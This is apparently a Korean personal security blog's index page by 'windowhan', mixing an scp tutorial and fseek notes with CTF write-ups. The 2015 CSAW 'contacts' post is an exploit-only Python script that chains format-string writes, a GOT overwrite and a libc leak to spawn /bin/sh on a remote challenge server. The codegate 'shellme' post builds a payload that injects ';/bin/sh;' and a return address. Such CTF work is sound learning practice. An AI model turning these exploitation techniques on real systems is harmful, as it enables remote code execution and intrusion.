'분류 전체보기'에 해당되는 글 55건

  1. 2017.07.30 삼성 안드로이드 펌웨어 관련 사이트
  2. 2016.02.04 모두의마블 PC & 모바일 버전 Remote code execution
  3. 2015.12.27 scp명령어
  4. 2015.12.27 pwnable.kr otp
  5. 2015.11.18 fseek 옵션
  6. 2015.11.13 defcamp r100, r200
  7. 2015.11.13 ASIS 2015 fake
  8. 2015.10.01 csaw2015 contacts (exploit only)
  9. 2015.06.27 rsa_calculator
  10. 2015.04.05 2014 codegate junior shellme

samsung-updates.com (최신 펌웨어 다운로드)

opensource.samsung.com (구버전 펌웨어 오픈소스로 공개. 최신 펌웨어랑 그렇게 많은 차이가 나지 않음.)

 

Posted by windowhan
,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

scp명령어

Tip 2015. 12. 27. 15:52

 scp 명령어를 이용한 파일 복사 및 전송

 

  ssh에서 제공되는 scp 명령어를 통해 로컬서버↔원격서버 로의 파일을 간단하게 전송할 수 있다.

 

 1. 사용방법
    1) 원격 서버 → 로컬 서버로 파일 전송
        # scp [옵션] [계정명]@[원격지IP주소]:[원본 경로 및 파일] [전송받을 위치]


        예제1) IP 111.222.333.444 서버의 abc라는 계정으로 /home/abc/index.html 파일을 로컬서버 /home/me/ 디렉토리에 전송 받기

                    # scp abc@111.222.333.444:/home/abc/index.html /home/me/

 

    2) 로컬 서버 → 원격 서버로 파일 전송
        # scp [옵션] [원본 경로 및 파일] [계정명]@[원격지IP주소]:[전송할 경로]


        예제2) 로컬서버 /home/me/wow.html 파일을 IP 111.222.333.444 서버의 /home/abc/ 디렉토리에 전송 하기
                   # scp /home/me/wow.html abc@111.222.333.444:/home/abc/

 

    3) ssh포트를 기본 22번으로 사용하고 있지 않는 서버로의 전송


        예제3) 2222번인 SSH포트를 사용한다면 아래와 같이 –P 옵션과 포트번호를 넣어준다.
                  # scp –P 2222 abc@111.222.333.444:/home/abc/index.html /home/me/
                  # scp –P 2222 /home/me/wow.html abc@111.222.333.444:/home/abc/

 

        [주의사항]
        옵션중에 –P와 –p가 있으니 대/소문자 확인을 하여야 한다.
        -P : 포트번호를 지정함
        -p : 원본파일 수정/사용시간 및 권한을 유지함
        -r : 하위 디렉토리 및 파일 모두 복사함

 

'Tip' 카테고리의 다른 글

freebsd memory map  (0) 2015.02.16
gdb로 fork한 프로세스 디버깅  (0) 2014.10.26
core 파일 생성  (0) 2014.07.05
[Linux BOF] RTL, ROP시 함수를 사용할 때  (0) 2014.04.16
[webhacking] 웹해킹할때 race condition  (0) 2014.04.05
Posted by windowhan
,

pwnable.kr otp

2015. 12. 27. 00:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

fseek 옵션

일기장 2015. 11. 18. 21:55

SEEK_SET

is the beginning of the file; the value is 0.

SEEK_CUR

is the current file offset; the value is 1.

SEEK_END 

is the end of the file; the value is 2.

Posted by windowhan
,

defcamp r100, r200

2015. 11. 13. 22:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

ASIS 2015 fake

CTF 2015. 11. 13. 22:30



이상한 연산결과를 통해서


v5부터 v9까지 연속해서 출력해준다.

그냥 저식대로 z3에 넣어주면됨.

ASIS ctf 키값 형식이 ASIS{~~} 니까 앞의 글자 5개는 스택에 {SISA로 들어가게 될것이다.

따라서

>>> s.add((((0x3CC6C7B7 * v2)) & 0x000000ffffffffff) == int("{SISA".encode('hex'),16))

>>> s.model()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "/usr/lib/python2.7/dist-packages/z3.py", line 5952, in model

    raise Z3Exception("model is not available")

z3types.Z3Exception: model is not available

>>> s.check()

sat

>>> s.model()

[v2 = 25313971399]




'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

from zio import *

from time import *

import windowhan

import re


fsb_value = []


def fsbDump(sock,handler,count,spNum):

recv_data = ""

for index in range(1,count+1):

recv_data = handler(sock,index)

if recv_data.find('(nil)')>-1:

fsb_value.append("0x00000000")

else:

fsb_value.append("{0:#0{1}x}".format(int(re.findall("0[xX][0-9a-fA-F]+",recv_data)[0],16),10))


output = ""

string_output = ""

for i in range(0,len(fsb_value),spNum):

output = "[%%%s$p] " % str(i+1)

string_output = ""

for j in range(i,i+spNum):

try:

output += fsb_value[j] + " "

except:

print fsb_value

for k in range(0,len(fsb_value[j].replace("0x","")),2):

if int(fsb_value[j].replace("0x","")[k:k+2],16)>0x20 and int(fsb_value[j].replace("0x","")[k:k+2],16)<0x7f:

string_output += chr(int(fsb_value[j].replace("0x","")[k:k+2],16)) + "."

else:

string_output += ".."


print output + " | " + string_output

return fsb_value


def do_dump(sock,index):

recv_data = ""

sock.write('3' + '\n')

sock.write('aaaa' + '\n')

sock.write('2' + '\n')

sock.write('1000' + '\n')

sock.read_until("Description:")

sock.write('%' + str(index) + '$p ' + '\n')

sock.read_until(">>>")

sock.write('4' + '\n')

recv_data = sock.read_until("Menu:")

return recv_data


def create_contacts(sock,name,phone,descLen,desc):

sock.write("1" + "\n")

sock.read_until("Name:")

sock.write(name + "\n")

sock.read_until("Phone No:")

sock.write(phone + "\n")

sock.read_until("of description:")

sock.write(descLen + "\n")

sock.read_until("Enter description:")

sock.write(desc + "\n")

sock.read_until(">>>")


def remove_contacts(sock,name):

sock.write("2" + "\n")

sock.read_until("remove?")

sock.write(name + "\n")

sock.read_until(">>>")


def edit_desc_contacts(sock,name,newDesc):

sock.write("3" + "\n")

sock.read_until("change?")

sock.write(name + "\n")

sock.read_until(">>>")

sock.write("2" + "\n")

sock.read_until("Length of description:") 

sock.write("3000" + "\n")

sock.read_until("Description:")

sock.write(newDesc + "\n")

sock.read_until(">>>")


def display_contacts(sock):

sock.write("4" + "\n")

recv_data = ""

recv_data = sock.read_until(">>>")

return recv_data.split("Description:")[1].split("Menu:")[0]


def exit_contacts(sock):

sock.write("5" + "\n")



s = zio(('54.208.16.165',2555))

create_contacts(s,'aaaa','123','1243','123')

# overwrite test

"""

s.write('3' + '\n')

s.write('aaaa' + '\n')

s.write('2' + '\n')

s.write('1313' + '\n')

s.read_until('Description:')

s.write('%24929c%6$hn' + '\n')

s.read_until(">>>")

s.write('4' + '\n')

s.read_until(">>>")

"""


dump_data = fsbDump(s,do_dump,10,5)

stack_base = int(dump_data[5],16)&0xffff0000

target_pointer_base1 = (int(dump_data[5],16)&0xffff) + 136

target_pointer_base2 = (int(dump_data[5],16)&0xffff) + 120


# GOT Overwrite

# First Contact

edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'aaaa','%45076c%18$hn')

display_contacts(s)

edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1+2) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'aaaa','%2052c%18$hn')

display_contacts(s)

remove_contacts(s,'aaaa')


# Second Contact

create_contacts(s,'bbbb','123','1231','%' + str(target_pointer_base2) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'bbbb','%45078c%18$hn')

display_contacts(s)

edit_desc_contacts(s,'bbbb','%' + str(target_pointer_base2+2) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'bbbb','%2052c%18$hn')

display_contacts(s)

remove_contacts(s,'bbbb')


# leak free@got 

create_contacts(s,'tttt','123','1231','%52$p')

display_contacts(s)

edit_desc_contacts(s,'tttt','%52$s')

leak_data = display_contacts(s)

windowhan.dump(leak_data)

free_got = leak_data[1:5]

print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')

remove_contacts(s,'tttt')


offset_system = 0x0003fcd0

offset_dup2 = 0x000d9dd0

offset_read = 0x000d9490

offset_write = 0x000d9510

offset_binsh = 0x15da84

offset_free = 0x000760c0


offset = offset_free - offset_system

real_system = int("0x%s" % free_got[::-1].encode('hex'),16) - offset

print "[+] system address : %s" % hex(real_system)


print '[+] %' + str((real_system&0xffff0000)/0x10000)  + 'c%48$hn'

print '[+] %' + str(real_system&0xffff) + 'c%52$hn'

create_contacts(s,'ffff','123','1243','%' + str((real_system&0xffff0000)/0x10000)  + 'c%48$hn')

create_contacts(s,'gggg','123','1233','%' + str(real_system&0xffff) + 'c%52$hn')

display_contacts(s)

print "[+] system address : %s" % hex(real_system)

print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')

create_contacts(s,'/bin/sh','123','1231','/bin/sh')

s.write('2' + '\n')

s.read_until("remove?")

s.write('/bin/sh' + '\n')

s.interact()






Posted by windowhan
,

rsa_calculator

Wargame/pwnable.kr 2015. 6. 27. 14:07

보던중 딱히 취약점은 보이지 않는다.


보니까 어디서 취약점이 터지지 이러고잇엇는데 마침 format string bug가 일어날 것같은 포스를 풍기는 곳을 발견!

그래서 %p%p를 encode한다음에 decode했는데 취약점이 터졌다.

그런 다음에 스택에 실행권한을 보았다.


스택에 모든 권한이있으므로 이걸 이용해서 FSB로 공부하면되겠다.

EXPLOIT 코드는 기말고사 공부 끝나고올려야지 흐하핳핳 bob붙고 기분이좋네


'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr otp  (0) 2015.12.27
myproxy  (0) 2015.02.28
pwnable.kr dragon  (0) 2015.02.08
Posted by windowhan
,

2014 codegate junior shellme

CTF 2015. 4. 5. 13:42

root@ubuntu:~/k# cat a.py

import rsa,subprocess

import b,c

import hashlib

import windowhan

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP, AES

from struct import pack

p = lambda x : pack('<L', x)



aes_key = "2"*16

aes_iv = "\x01"*16

data = "abcdddgs" + "\x00"*8

aes_mode = AES.MODE_CBC

aes_= AES.new(aes_key,aes_mode,IV=aes_iv)

aes_data = aes_.encrypt(data)


message = "\x1f\x8b\x08\x00"

message += aes_key

message += hashlib.sha256(aes_data + "\x00"*(0x700-len(aes_data))).digest()

message += "a" *11

message += ";/bin/sh;"

message += p(0x4017df)


encrypt_data = ""

rsa = c


encrypt_data = rsa.encrypt(message)

message = encrypt_data + aes_data + "\x00"*(0x700-len(aes_data))

print message + "a"*(1900-len(message))



일단 저기서 요구하는대로 조건을 맞춰서 모두 통과시켰다.
그리고 해매던중

이런 부분을 보았고,


이부분을 보았다.


plaintext에 chipertext를 복호화한게 들어가고 free해주는 과정에서 취약점이 발생할거같았다.

시도하던 중 BIO_Free 함수에서 SIGSEGV가 나길래 gdb로 디버깅해보았고,


call %rax라는 구문과 rdi를 내맘대로 조작할 수 있어서 풀었다.

RSA pkcs #1  때문에 시간을 많이잡아먹었다




'CTF' 카테고리의 다른 글

ASIS 2015 fake  (0) 2015.11.13
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,